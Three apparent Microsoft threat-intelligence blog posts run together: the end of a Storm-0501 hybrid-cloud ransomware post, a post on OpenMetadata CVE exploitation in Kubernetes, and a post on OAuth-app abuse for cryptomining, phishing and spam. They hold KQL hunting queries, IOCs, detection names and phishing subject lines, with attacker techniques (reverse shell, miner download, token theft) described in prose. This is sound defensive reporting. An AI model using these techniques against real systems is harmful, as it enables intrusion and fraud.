Explore sign-in activity from IdentityLogonEvents, look for uncommon behavior, such as sign-ins from newly seen IP addresses or sign-ins to new applications that are non-sync related.

IdentityLogonEvents
| where Timestamp > ago(30d)
| where AccountDisplayName contains "On-Premises Directory Synchronization Service Account"
| extend ApplicationName = tostring(RawEventData.ApplicationName)
| project-reorder Timestamp, AccountDisplayName, AccountObjectId, IPAddress, ActionType, ApplicationName, OSPlatform, DeviceType

Usually, the activity of the sync account is repetitive, coming from the same IP address to the same application, any deviation from the natural flow is worth investigating. Cloud applications that normally accessed by the Microsoft Entra ID sync account are “Microsoft Azure Active Directory Connect”, “Windows Azure Active Directory”, “Microsoft Online Syndication Partner Portal”

Explore the cloud activity (a.k.a ActionType) of the sync account, same as above, this account by nature performs a certain set of actions including ‘update User.’, ‘update Device.’ and so on. New and uncommon activity from this user might indicate an interactive use of the account, even though it could have been from someone inside the organization it could also be the threat actor.

CloudAppEvents
| where Timestamp > ago(30d)
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| extend Workload = RawEventData.Workload
| project-reorder Timestamp, IPAddress, AccountObjectId, ActionType, Application, Workload, DeviceType, OSPlatform, UserAgent, ISP

Pay close attention to action from different DeviceTypes or OSPlatforms, this account automated service is performed from one specific machine, so there shouldn’t be any variety in these fields.

Check which IP addresses Microsoft Entra Connect Sync account uses

This query reveals all IP addresses that the default Microsoft Entra Connect Sync account uses so those could be added as trusted IP addresses for the Entra ID sync account (make sure the account is not compromised before relying on this list)

IdentityLogonEvents
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| where ActionType == "LogonSuccess"
| distinct IPAddress
| union (CloudAppEvents
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| distinct IPAddress)
| distinct IPAddress

Federation and authentication domain changes

Explore the addition of a new authentication or federation domain, validate that the new domain is valid one and was purposefully added

CloudAppEvents
| where Timestamp > ago(30d)
| where ActionType in ("Set domain authentication.", "Set federation settings on domain.")

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Assess your environment for Manage Engine, Netscaler, and ColdFusion vulnerabilities.

DeviceTvmSoftwareVulnerabilities  
| where CveId in ("CVE-2022-47966","CVE-2023-4966","CVE-2023-29300","CVE-2023-38203")   
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel  
| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId  
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware

Search for file IOC

let selectedTimestamp = datetime(2024-09-17T00:00:00.0000000Z);
let fileName = dynamic(["PostalScanImporter.exe","win.exe","name.dll","248.dll","cs240.dll","fel.ocx","theme.ocx","hana.ocx","obfs.ps1","recon.ps1"]); 
let FileSHA256 = dynamic(["efb2f6452d7b0a63f6f2f4d8db49433259249df598391dd79f64df1ee3880a8d","a9aeb861817f3e4e74134622cbe298909e28d0fcc1e72f179a32adc637293a40","caa21a8f13a0b77ff5808ad7725ff3af9b74ce5b67426c84538b8fa43820a031","53e2dec3e16a0ff000a8c8c279eeeca8b4437edb8ec8462bfbd9f64ded8072d9","827f7178802b2e92988d7cff349648f334bc86317b0b628f4bb9264285fccf5f","ee80f3e3ad43a283cbc83992e235e4c1b03ff3437c880be02ab1d15d92a8348a","de09ec092b11a1396613846f6b082e1e1ee16ea270c895ec6e4f553a13716304","d065623a7d943c6e5a20ca9667aa3c41e639e153600e26ca0af5d7c643384670","c08dd490860b54ae20fa9090274da9ffa1ba163f00d1e462e913cf8c68c11ac1"]); 
search in (AlertEvidence,BehaviorEntities,CommonSecurityLog,DeviceBaselineComplianceProfiles,DeviceEvents,DeviceFileEvents,DeviceImageLoadEvents, DeviceLogonEvents,DeviceNetworkEvents,DeviceProcessEvents,DeviceRegistryEvents,DeviceFileCertificateInfo,DynamicEventCollection,EmailAttachmentInfo,OfficeActivity,SecurityEvent,ThreatIntelligenceIndicator) TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d)) // from September 17th runs the search for 90 days, change the selectedTimestamp accordingly. and  (FileName in (fileName) or OldFileName in (fileName)  or ProfileName in (fileName)  or InitiatingProcessFileName in (fileName)  or InitiatingProcessParentFileName in (fileName)  or InitiatingProcessVersionInfoInternalFileName in (fileName)  or InitiatingProcessVersionInfoOriginalFileName in (fileName)  or PreviousFileName in (fileName)  or ProcessVersionInfoInternalFileName in (fileName) or ProcessVersionInfoOriginalFileName in (fileName) or DestinationFileName in (fileName) or SourceFileName in (fileName)or ServiceFileName in (fileName) or SHA256 in (FileSHA256)  or InitiatingProcessSHA256 in (FileSHA256))

Microsoft Sentinel also has a range of detection and threat hunting content that customers can use to detect the post exploitation activity detailed in this blog, in addition to Microsoft Defender XDR detections list above.

• Remote Management Monitoring Network Connections
• Level.io RMM File Signature
• AnyDesk RMM File Signature
• NinjaOne RMM File Signature
• Potential Impacket Execution
• Potential ransomware activity related to Cobalt Strike
• Cobalt DNS Beacon
• C2-NamedPipe
• Renamed Rclone Exfiltration
• Disable Or Modify Windows Defender
• Clearing of forensic evidence from event logs using wevtutil
• Suspicious Signin By AAD Connect Account

Indicators of compromise (IOCs)

The following list provides indicators of compromise (IOCs) observed during our investigation. We encourage our customers to investigate these indicators within their environments and implement detections and protections to identify any past related activity and prevent future attacks against their systems.

References

• The Rust Revolution: New Embargo Ransomware Steps In – Cyble
• Embargo Ransomware Group: The Interview (suspectfile.com)
• https://aadinternals.com/post/aadbackdoor/
• https://aadinternals.com/post/aad-deepdive/

Omri Refaeli, Tafat Gaspar, Vaibhav Deshmukh, Naya Hashem, Charles-Edouard Bettan

Microsoft Threat Intelligence Community

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Storm-0501: Ransomware attacks expanding to hybrid cloud environments appeared first on Microsoft Security Blog.

OpenMetadata is an open-source platform designed to manage metadata across various data sources. It serves as a central repository for metadata lineage, allowing users to discover, understand, and govern their data. On March 15, 2024, several vulnerabilities in OpenMetadata platform were published. These vulnerabilities (CVE-2024-28255, CVE-2024-28847, CVE-2024-28253, CVE-2024-28848, CVE-2024-28254), affecting versions prior to 1.3.1, could be exploited by attackers to bypass authentication and achieve remote code execution. Since the beginning of April, we have observed exploitation of this vulnerability in Kubernetes environments.

Microsoft highly recommends customers to check clusters that run OpenMetadata workload and make sure that the image is up to date (version 1.3.1 or later). In this blog, we share our analysis of the attack, provide guidance for identifying vulnerable clusters and using Microsoft security solutions like Microsoft Defender for Cloud to detect malicious activity, and share indicators of compromise that defenders can use for hunting and investigation.

Attack flow

For initial access, the attackers likely identify and target Kubernetes workloads of OpenMetadata exposed to the internet. Once they identify a vulnerable version of the application, the attackers exploit the mentioned vulnerabilities to gain code execution on the container running the vulnerable OpenMetadata image.

After establishing a foothold, the attackers attempt to validate their successful intrusion and assess their level of control over the compromised system. This reconnaissance step often involves contacting a publicly available service. In this specific attack, the attackers send ping requests to domains that end with oast[.]me and oast[.]pro, which are associated with Interactsh, an open-source tool for detecting out-of-band interactions.

OAST domains are publicly resolvable yet unique, allowing attackers to determine network connectivity from the compromised system to attacker infrastructure without generating suspicious outbound traffic that might trigger security alerts. This technique is particularly useful for attackers to confirm successful exploitation and validate their connectivity with the victim, before establishing a command-and-control (C2) channel and deploying malicious payloads.

After gaining initial access, the attackers run a series of reconnaissance commands to gather information about the victim environment. The attackers query information on the network and hardware configuration, OS version, active users, etc.

As part of the reconnaissance phase, the attackers read the environment variables of the workload. In the case of OpenMetadata, those variables might contain connection strings and credentials for various services used for OpenMetadata operation, which could lead to lateral movement to additional resources.

Once the attackers confirm their access and validate connectivity, they proceed to download the payload, a cryptomining-related malware, from a remote server. We observed the attackers using a remote server located in China. The attacker’s server hosts additional cryptomining-related malware that are stored, for both Linux and Windows OS.

The downloaded file’s permissions are then elevated to grant execution privileges. The attacker also added a personal note to the victims:

Next, the attackers run the downloaded cryptomining-related malware, and then remove the initial payloads from the workload. Lastly, for hands-on-keyboard activity, the attackers initiate a reverse shell connection to their remote server using Netcat tool, allowing them to remotely access the container and gain better control over the system. Additionally, for persistence, the attackers use cronjobs for task scheduling, enabling the execution of the malicious code at predetermined intervals.

How to check if your cluster is vulnerable

Administrators who run OpenMetadata workload in their cluster need to make sure that the image is up to date. If OpenMetadata should be exposed to the internet, make sure you use strong authentication and avoid using the default credentials.

To get a list of all the images running in the cluster:

kubectl get pods --all-namespaces -o=jsonpath='{range .items[*]}{.spec.containers[*].image}{"\n"}{end}' | grep 'openmetadata'

If there is a pod with a vulnerable image, make sure to update the image version for the latest version.

How Microsoft Defender for Cloud capabilities can help

This attack serves as a valuable reminder of why it’s crucial to stay compliant and run fully patched workloads in containerized environments. It also highlights the importance of a comprehensive security solution, as it can help detect malicious activity in the cluster when a new vulnerability is used in the attack. In this specific case, the attackers’ actions triggered Microsoft Defender for Containers alerts, identifying the malicious activity in the container. In the example below, Microsoft Defender for Containers alerted on an attempt to initiate a reverse shell from a container in a Kubernetes cluster, as happened in this attack:

To prevent such attacks, Microsoft Defender for Containers provides agentless vulnerability assessment for Azure, AWS, and GCP, allowing you to identify vulnerable images in the environment, before the attack occurs.  Microsoft Defender Cloud Security Posture Management (CSPM) can help to prioritize the security issues according to their risk. For example, Microsoft Defender CSPM highlights vulnerable workloads exposed to the internet, allowing organizations to quickly remediate crucial threats.

Organizations can also monitor Kubernetes clusters using Microsoft Sentinel via Azure Kubernetes Service (AKS) solution for Sentinel, which enables detailed audit trail for user and system actions to identify malicious activity.

Indicators of compromise (IoCs)

Hagai Ran Kestenberg, Security Researcher
Yossi Weizman, Senior Security Research Manager

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Attackers exploiting new critical OpenMetadata vulnerabilities on Kubernetes clusters appeared first on Microsoft Security Blog.

In attacks observed by Microsoft Threat Intelligence, threat actors launched phishing or password spraying attacks to compromise user accounts that did not have strong authentication mechanisms and had permissions to create or modify OAuth applications. The threat actors misused the OAuth applications with high privilege permissions to deploy virtual machines (VMs) for cryptocurrency mining, establish persistence following business email compromise (BEC), and launch spamming activity using the targeted organization’s resources and domain name.

Microsoft continuously tracks attacks that misuse of OAuth applications for a wide range of malicious activity. This visibility enhances the detection of malicious OAuth applications via Microsoft Defender for Cloud Apps and prevents compromised user accounts from accessing resources via Microsoft Defender XDR and Microsoft Entra Identity Protection. In this blog post, we present cases where threat actors compromised user accounts and misused OAuth applications for their financially driven attacks, outline recommendations for organizations to mitigate such attacks, and provide detailed information on how Microsoft detects related activity:

• OAuth applications to deploy VMs for cryptomining
• OAuth applications for BEC and phishing
• OAuth applications for spamming activity
• Mitigation steps
• Detections for related techniques
• Hunting guidance

OAuth applications to deploy VMs for cryptomining

Microsoft observed the threat actor tracked as Storm-1283 using a compromised user account to create an OAuth application and deploy VMs for cryptomining. The compromised account allowed Storm-1283 to sign in via virtual private network (VPN), create a new single-tenant OAuth application in Microsoft Entra ID named similarly as the Microsoft Entra ID tenant domain name, and add a set of secrets to the application. As the compromised account had an ownership role on an Azure subscription, the actor also granted ‘Contributor’ role permission for the application to one of the active subscriptions using the compromised account.

The actor also leveraged existing line-of-business (LOB) OAuth applications that the compromised user account had access to in the tenant by adding an additional set of credentials to those applications. The actor initially deployed a small set of VMs in the same compromised subscriptions using one of the existing applications and initiated the cryptomining activity. The actor then later returned to deploy more VMs using the new application. Targeted organizations incurred compute fees ranging from 10,000 to 1.5 million USD from the attacks, depending on the actor’s activity and duration of the attack.

Storm-1283 looked to maintain the setup as long as possible to increase the chance of successful cryptomining activity. We assess that, for this reason, the actor used the naming convention [DOMAINNAME]_[ZONENAME]_[1-9] (the tenant name followed by the region name) for the VMs to avoid suspicion.  

One of the ways to recognize the behavior of this actor is to monitor VM creation in Azure Resource Manager audit logs and look for the activity “Microsoft.Compute/virtualMachines/write” performed by an OAuth application. While the naming convention used by the actor may change in time, it may still include the domain name or region names like “east|west|south|north|central|japan|france|australia|canada|korea|uk|poland|brazil”

Microsoft Threat Intelligence analysts were able to detect the threat actor’s actions and worked with the Microsoft Entra team to block the OAuth applications that were part of this attack. Affected organizations were also informed of the activity and recommended further actions.

OAuth applications for BEC and phishing

In another attack observed by Microsoft, a threat actor compromised user accounts and created OAuth applications to maintain persistence and to launch email phishing activity. The threat actor used an adversary-in-the-middle (AiTM) phishing kit to send a significant number of emails with varying subject lines and URLs to target user accounts in multiple organizations. In AiTM attacks, threat actors attempt to steal session tokens from their targets by sending phishing emails with a malicious URL that leads to a proxy server that facilitates a genuine authentication process.

We observed the following email subjects used in the phishing emails:

• <Username> shared “<Username> contracts” with you.
• <Username> shared “<User domain>” with you.
• OneDrive: You have received a new document today
• <Username> Mailbox password expiry
• Mailbox password expiry
• <Username> You have Encrypted message
• Encrypted message received

After the targets clicked the malicious URL in the email, they were redirected to the Microsoft sign-in page that was proxied by the threat actor’s proxy server. The proxy server set up by the threat actor allowed them to steal the token from the user’s session cookie. Later, the stolen token was leveraged to perform session cookie replay activity. Microsoft was able to confirm during further investigation that the compromised user account was flagged for risky sign-ins when the account was used to sign in from an unfamiliar location and from an uncommon user agent.

For persistence following business email compromise

In some cases, following the stolen session cookie replay activity, the actor leveraged the compromised user account to perform BEC financial fraud reconnaissance by opening email attachments in Microsoft Outlook Web Application (OWA) that contain specific keywords such as “payment” and “invoice”. This action typically precedes financial fraud attacks where the threat actor seeks out financial conversations and attempts to socially engineer one party to modify payment information to an account under attacker control.

Later, to maintain persistence and carry out malicious actions, the threat actor created an OAuth application using the compromised user account. The actor then operated under the compromised user account session to add new credentials to the OAuth application.  

For email phishing activity

In other cases, instead of performing BEC reconnaissance, the threat actor created multitenant OAuth applications following the stolen session cookie replay activity. The threat actor used the OAuth applications to maintain persistence, add new credentials, and then access Microsoft Graph API resource to read emails or send phishing emails.

At the time of analysis, we observed that threat actor created around 17,000 multitenant OAuth applications across different tenants using multiple compromised user accounts. The created applications mostly had two different sets of application metadata properties, such as display name and scope:

• Malicious multitenant OAuth applications with the display name set as “oauth” were granted permissions “user.read; mail.readwrite; email; profile; openid; mail.read; people.read” and access to Microsoft Graph API and read emails.
• Malicious multitenant OAuth applications with the display name set as “App” were granted permissions “user.read; mail.readwrite; email; profile; openid; mail.send” and access to Microsoft Graph API to send high volumes of phishing emails to both intra-organizational and external organizations.

In addition, we observed that the threat actor, before using the OAuth applications to send phishing emails, leveraged the compromised user accounts to create inbox rules with suspicious rule names like “…” to move emails to the junk folder and mark them as read. This is to evade detection by the compromised user that the account was used to send phishing emails.

Based on the email telemetry, we observed that the malicious OAuth applications created by the threat actor sent more than 927,000 phishing emails. Microsoft has taken down all the malicious OAuth applications found related to this campaign, which ran from July to November 2023.

OAuth applications for spamming activity

Microsoft also observed large-scale spamming activity through OAuth applications by a threat actor tracked as Storm-1286. The actor launched password spraying attacks to compromise user accounts, the majority of which did not have multifactor authentication (MFA) enabled. We also observed the user agent BAV2ROPC in the sign-in activities related to the compromised accounts, which indicated the use of legacy authentication protocols such as IMAP and SMTP that do not support MFA.

We observed the actor using the compromised user accounts to create anywhere from one to three new OAuth applications in the targeted organization using Azure PowerShell or a Swagger Codegen-based client. The threat actor then granted consent to the applications using the compromised accounts. These applications were set with permissions like email, profile, openid, Mail.Send, User.Read and Mail.Read, which allowed the actor to control the mailbox and send thousands of emails a day using the compromised user account and the organization domain. In some cases, the actor waited for months after the initial access and setting up of OAuth applications before starting the spam activity using the applications. The actor also used legitimate domains to avoid phishing and spamming detectors.

In previous large-scale spam activities, we observed threat actors attempting to compromise admin accounts without MFA and create new LOB applications with high administrative permissions to abuse Microsoft Exchange Online and spread spam. While the activity of the actor then was limited due to actions taken by Microsoft Threat Intelligence such as blocking clusters of the OAuth applications in the past, Storm-1286 continues to try new ways to set a similar high-scale spamming platform in victim organizations by using non-privileged users.

Mitigation steps

Microsoft recommends the following mitigations to reduce the impact of these types of threats.

Mitigate credential guessing attacks risks

A key step in reducing the attack surface is securing the identity infrastructure. The most common initial access vector observed in this attack was account compromise through credential stuffing, phishing, and reverse proxy (AiTM) phishing. In most cases the compromised accounts did not have MFA enabled. Implementing security practices that strengthen account credentials such as enabling MFA reduced the chance of attack dramatically.

Enable conditional access policies

Conditional access policies are evaluated and enforced every time the user attempts to sign in. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies for User and Sign-in Risk, device compliance and trusted IP address requirements. If your organization has a Microsoft-Managed Conditional Access policy, make sure it is enforced.

Ensure continuous access evaluation is enabled

Continuous access evaluation (CAE) revokes access in real time when changes in user conditions trigger risks, such as when a user is terminated or moves to an untrusted location.

Enable security defaults

While some of the features mentioned above require paid subscriptions, the security defaults in Azure AD, which is mainly for organizations using the free tier of Azure Active Directory licensing, are sufficient to better protect the organizational identity platform, as they provide preconfigured security settings such as MFA, protection for privileged activities, and others.

Enable Microsoft Defender automatic attack disruption

Microsoft Defender automatic attack disruption capabilities minimize lateral movement and curbs the overall impact of an attack in its initial stages.

Audit apps and consented permissions

Audit apps and consented permissions in your organization ensure applications are only accessing necessary data and adhering to the principles of least privilege. Use Microsoft Defender for Cloud Apps and its app governance add-on for expanded visibility into cloud activity in your organization and control over applications that access your Microsoft 365 data. 

Educate your organization on application permissions and data accessible by applications with respective permissions to identify malicious apps. 

Enhance suspicious OAuth application investigation with the recommended approach to investigate and remediate risky OAuth apps.

Enable “Review admin consent requests” for forcing new applications review in the tenant.

In addition to the recommendations above, Microsoft has published incident response playbooks for App consent grant investigation and compromised and malicious applications investigation that defenders can use to respond quickly to related threats.

Secure Azure Cloud resources

Deploy MFA to all users, especially for tenant administrators and accounts with Azure VM Contributor privileges. Limit unused quota and monitor for unusual quota increases in your Azure subscriptions, with an emphasis on the resource’s originating creation or modification. Monitor for unexpected sign-in activity from IP addresses associated with free VPN services on high privilege accounts. Connect Microsoft Defender for Cloud Apps connector to ARM or use Microsoft Defender for ARM

With the rise of hybrid work, employees might use their personal or unmanaged devices to access corporate resources, leading to an increased possibility of token theft. To mitigate this risk, organizations can enhance their security measures by obtaining complete visibility into their users’ authentication methods and locations. Refer to the comprehensive blog post Token tactics: How to prevent, detect, and respond to cloud token theft. 

Check your Office 365 email filtering settings to ensure you block spoofed emails, spam, and emails with malware. Use for enhanced phishing protection and coverage against new threats and polymorphic variants. Configure Defender for Office 365 to recheck links upon time of click and delete sent mail in response to newly acquired threat intelligence. Turn on Safe Attachments policies to check attachments in inbound emails. 

Detections for related techniques

Leveraging its cross-signal capabilities, Microsoft Defender XDR alerts customers using Microsoft Defender for Office 365, Microsoft Defender for Cloud Apps, Application governance add-on, Microsoft Defender for Cloud, and Microsoft Entra ID Protection to detect the techniques covered in the attack through the attack chain. Each product can provide a different aspect for protection to cover the techniques observed in this attack:

Microsoft Defender XDR

Microsoft Defender XDR detects threat components associated with the following activities:

• User compromised in AiTM phishing attack
• User compromised via a known AiTM phishing kit
• BEC financial fraud-related reconnaissance
• BEC financial fraud

Microsoft Defender for Cloud Apps

Using Microsoft Defender for Cloud Apps connectors for Microsoft 365 and Azure, Microsoft Defender XDR raises the following alerts:

• Stolen session cookie was used
• Activity from anonymous IP address
• Activity from a password-spray associated IP address
• User added or updated a suspicious OAuth app
• Risky user created or updated an app that was observed creating a bulk of Azure virtual machines in a short interval
• Risky user updated an app that accessed email and performed email activity through Graph API
• Suspicious creation of OAuth app by compromised user
• Suspicious secret addition to OAuth app followed by creation of Azure virtual machines
• Suspicious OAuth app creation
• Suspicious OAuth app email activity through Graph API
• Suspicious OAuth app-related activity by compromised user
• Suspicious user signed into a newly created OAuth app
• Suspicious addition of OAuth app permissions
• Suspicious inbox manipulation rule
• Impossible travel activity
• Multiple failed login attempts

App governance

App governance is an add-on to Microsoft Defender for Cloud Apps, which can detect malicious OAuth applications that make sensitive Exchange Online administrative activities along with other threat detection alerts. Activity related to this campaign triggers the following alerts:

• Entra Line-of-Business app initiating an anomalous spike in virtual machine creation
• OAuth app with high scope privileges in Microsoft Graph was observed initiating virtual machine creation
• Suspicious OAuth app used to send numerous emails

To receive this alert, turn on app governance for Microsoft Defender for Cloud Apps.

Microsoft Defender for Office 365

Microsoft Defender for Office 365 detects threat activity associated with this spamming campaign through the following email security alerts. Note, however, that these alerts may also be triggered by unrelated threat activity. We’re listing them here because we recommend that these alerts be investigated and remediated immediately.

• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL
• Suspicious email sending patterns detected
• User restricted from sending email
• Email sending limit exceeded

Microsoft Defender for Cloud

Microsoft Defender for Cloud detects threat components associated with the activities outlined in this article with the following alerts:

• Azure Resource Manager operation from suspicious proxy IP address
• Crypto-mining activity
• Digital currency mining activity
• Suspicious Azure role assignment detected
• Suspicious creation of compute resources detected
• Suspicious invocation of a high-risk ‘Execution’ operation by a service principal detected
• Suspicious invocation of a high-risk ‘Execution’ operation detected
• Suspicious invocation of a high-risk ‘Impact’ operation by a service principal detected

Microsoft Entra Identity Protection

Microsoft Entra Identity Protection detects the threats described with the following alerts:

• Anomalous Token
• Unfamiliar sign-in properties
• Anonymous IP address
• Verified threat actor IP
• Atypical travel

Hunting guidance

Microsoft 365 Defender

Microsoft 365 Defender customers can run the following query to find related activity in their networks:

OAuth application interacting with Azure workloads

let OAuthAppId = ;
CloudAppEvents
| where Timestamp >ago (7d)  
| where AccountId == OAuthAppId 
| where AccountType== "Application"
| extend Azure_Workloads = RawEventData["operationName"]
| distinct Azure_Workloads by AccountId

Password spray attempts

This query identifies failed sign-in attempts to Microsoft Exchange Online from multiple IP addresses and locations.

IdentityLogonEvents
| where Timestamp > ago(3d)
| where ActionType == "LogonFailed" and LogonType == "OAuth2:Token" and Application == "Microsoft Exchange Online"
| summarize count(), dcount(IPAddress), dcount(CountryCode) by AccountObjectId, AccountDisplayName, bin(Timestamp, 1h)

Suspicious application creation

This query finds new applications added in your tenant.

CloudAppEvents
| where ActionType in ("Add application.", "Add service principal.")
| mvexpand modifiedProperties = RawEventData.ModifiedProperties
| where modifiedProperties.Name == "AppAddress"
| extend AppAddress = tolower(extract('\"Address\": \"(.*)\",',1,tostring(modifiedProperties.NewValue)))
| mvexpand ExtendedProperties = RawEventData.ExtendedProperties
| where ExtendedProperties.Name == "additionalDetails"
| extend OAuthApplicationId = tolower(extract('\"AppId\":\"(.*)\"',1,tostring(ExtendedProperties.Value)))
| project Timestamp, ReportId, AccountObjectId, Application, ApplicationId, OAuthApplicationId, AppAddress

Suspicious email events

NOTE: These queries need to be updated with timestamps related to application creation time before running.

//Identify High Outbound Email Sender
EmailEvents 
| where Timestamp between ( .. ) //Timestamp from the app creation time to few hours upto 24 hours or more 
| where EmailDirection in ("Outbound") 
| project
    RecipientEmailAddress,
    SenderFromAddress,
    SenderMailFromAddress,
    SenderObjectId,
    NetworkMessageId 
| summarize
    RecipientCount = dcount(RecipientEmailAddress),
    UniqueEmailSentCount = dcount(NetworkMessageId)
    by SenderFromAddress, SenderMailFromAddress, SenderObjectId
| sort by UniqueEmailSentCount desc 
//| where UniqueEmailSentCount >  //Optional, return only if the sender sent more than the threshold
//| take 100 //Optional, return only top 100
 
//Identify Suspicious Outbound Email Sender
EmailEvents 
//| where Timestamp between ( .. ) //Timestamp from the app creation time to few hours upto 24 hours or more 
| where EmailDirection in ("Outbound") 
| project
    RecipientEmailAddress,
    SenderFromAddress,
    SenderMailFromAddress,
    SenderObjectId, 
    DetectionMethods,
    NetworkMessageId 
| summarize
    RecipientCount = dcount(RecipientEmailAddress),
    UniqueEmailSentCount = dcount(NetworkMessageId),
    SuspiciousEmailCount = dcountif(NetworkMessageId,isnotempty(DetectionMethods))
    by SenderFromAddress, SenderMailFromAddress, SenderObjectId
| extend SuspiciousEmailPercentage = SuspiciousEmailCount/UniqueEmailSentCount * 100 //Calculate the percentage of suspicious email compared to all email sent
| sort by SuspiciousEmailPercentage desc 
//| where UniqueEmailSentCount >  //Optional, return only if the sender suspicious email percentage is more than the threshold
//| take 100 //Optional, return only top 100

//Identify Recent Emails Sent by Restricted Email Sender
AlertEvidence
| where Title has "User restricted from sending email"
| project AccountObjectId //Identify the user who are restricted to send email
| join EmailEvents on $left.AccountObjectId == $right.SenderObjectId //Join information from Alert Evidence and Email Events
| project
    Timestamp,
    RecipientEmailAddress,
    SenderFromAddress,
    SenderMailFromAddress,
    SenderObjectId,
    SenderIPv4,
    Subject,
    UrlCount,
    AttachmentCount,
    DetectionMethods,
    AuthenticationDetails, 
    NetworkMessageId
| sort by Timestamp desc 
//| take 100 //Optional, return only first 100

BEC recon and OAuth application activity

//High and Medium risk SignIn activity
AADSignInEventsBeta
| where Timestamp >ago (7d)
| where ErrorCode==0
| where RiskLevelDuringSignIn >= 50
| project
    AccountUpn,
    AccountObjectId,
    SessionId,
    RiskLevelDuringSignIn,
    ApplicationId,
    Application

//Oauth Application creation or modification by user who has suspicious sign in activities
AADSignInEventsBeta
| where Timestamp >ago (7d)
| where ErrorCode == 0
| where RiskLevelDuringSignIn >= 50
| project SignInTime=AccountUpn, AccountObjectId, SessionId, RiskLevelDuringSignIn, ApplicationId, Application
| join kind=leftouter (CloudAppEvents | where Timestamp > ago(7d)
| where ActionType in ("Add application.", "Update application.", "Update application – Certificates and secrets management ")
| extend appId = tostring(parse_json(RawEventData.Target[4].ID))
| project
    Timestamp,
    ActionType,
    Application,
    ApplicationId,
    UserAgent,
    ISP,
    AccountObjectId,
    AppName=ObjectName,
    OauthApplicationId=appId,
    RawEventData ) on AccountObjectId
| where isnotempty(ActionType)

 
//Suspicious BEC reconnaisance activity 
let bec_keywords = pack_array("payment", "receipt", "invoice", "inventory"); 
let reconEvents = 
    CloudAppEvents
    | where Timestamp >ago (7d)
    | where ActionType in ("MailItemsAccessed", "Update")
    | where AccountObjectId in ("")
    | extend SessionId = tostring(parse_json(RawEventData.SessionId))
    | project
        Timestamp,
        ActionType,
        AccountObjectId,
        UserAgent,
        ISP,
        IPAddress,
        SessionId,
        RawEventData;
reconEvents;
let updateActions = reconEvents
    | where ActionType == "Update" 
    | extend Subject=tostring(RawEventData["Item"].Subject)
    | where isnotempty(Subject)
    | where Subject has_any (bec_keywords)
    | summarize UpdateCount=count() by bin (Timestamp, 15m), Subject, AccountObjectId, SessionId, IPAddress;
updateActions;
let mailItemsAccessedActions = reconEvents 
    | where ActionType == "MailItemsAccessed" 
    | extend OperationCount = toint(RawEventData["OperationCount"])
    | summarize TotalCount = sum(OperationCount) by bin (Timestamp, 15m), AccountObjectId, SessionId, IPAddress;
mailItemsAccessedActions;
 
//SignIn to newly created app within Risky Session
AADSignInEventsBeta
| where Timestamp >ago (7d) 
| where AccountObjectId in ("") and 
SessionId in ("")
| where ApplicationId in ("") // Recently added or modified App Id
| project
    AccountUpn,
    AccountObjectId,
    ApplicationId,
    Application,
    SessionId,
    RiskLevelDuringSignIn,
    RiskLevelAggregated,
    Country

// To check suspicious Mailbox rules
CloudAppEvents
| where Timestamp between (start .. end) //Timestamp from the app creation time to few hours, usually before spam emails sent
| where AccountObjectId in ("")
| where Application == "Microsoft Exchange Online"
| where ActionType in ("New-InboxRule", "Set-InboxRule", "Set-Mailbox", "Set-TransportRule", "New-TransportRule", "Enable-InboxRule", "UpdateInboxRules")
| where isnotempty(IPAddress)
| mvexpand ActivityObjects
| extend name = parse_json(ActivityObjects).Name
| extend value = parse_json(ActivityObjects).Value
| where name == "Name"
| extend RuleName = value 
| project Timestamp, ReportId, ActionType, AccountObjectId, IPAddress, ISP, RuleName

// To check any suspicious Url clicks from emails before risky signin by the user
UrlClickEvents
| where Timestamp between (start .. end) //Timestamp around time proximity of Risky signin by user
| where AccountUpn has "" and ActionType has "ClickAllowed"
| project Timestamp,Url,NetworkMessageId

// To fetch the suspicious email details
EmailEvents
| where Timestamp between (start .. end) //Timestamp lookback to be increased gradually to find the email received
| where EmailDirection has "Inbound"
| where RecipientEmailAddress has "" and NetworkMessageId == ""
| project SenderFromAddress,SenderMailFromAddress,SenderIPv4,SenderFromDomain, Subject,UrlCount,AttachmentCount
    
    
// To check if suspicious emails sent for spamming (with similar email subjects, urls etc.)
EmailEvents
| where Timestamp between (start .. end) //Timestamp from the app creation time to few hours upto 24 hours or more
| where EmailDirection in ("Outbound","Intra-org")
| where SenderFromAddress has ""  or SenderMailFromAddress has ""
| project RecipientEmailAddress,RecipientObjectId,SenderIPv4,SenderFromDomain, Subject,UrlCount,AttachmentCount,NetworkMessageId

Microsoft Sentinel

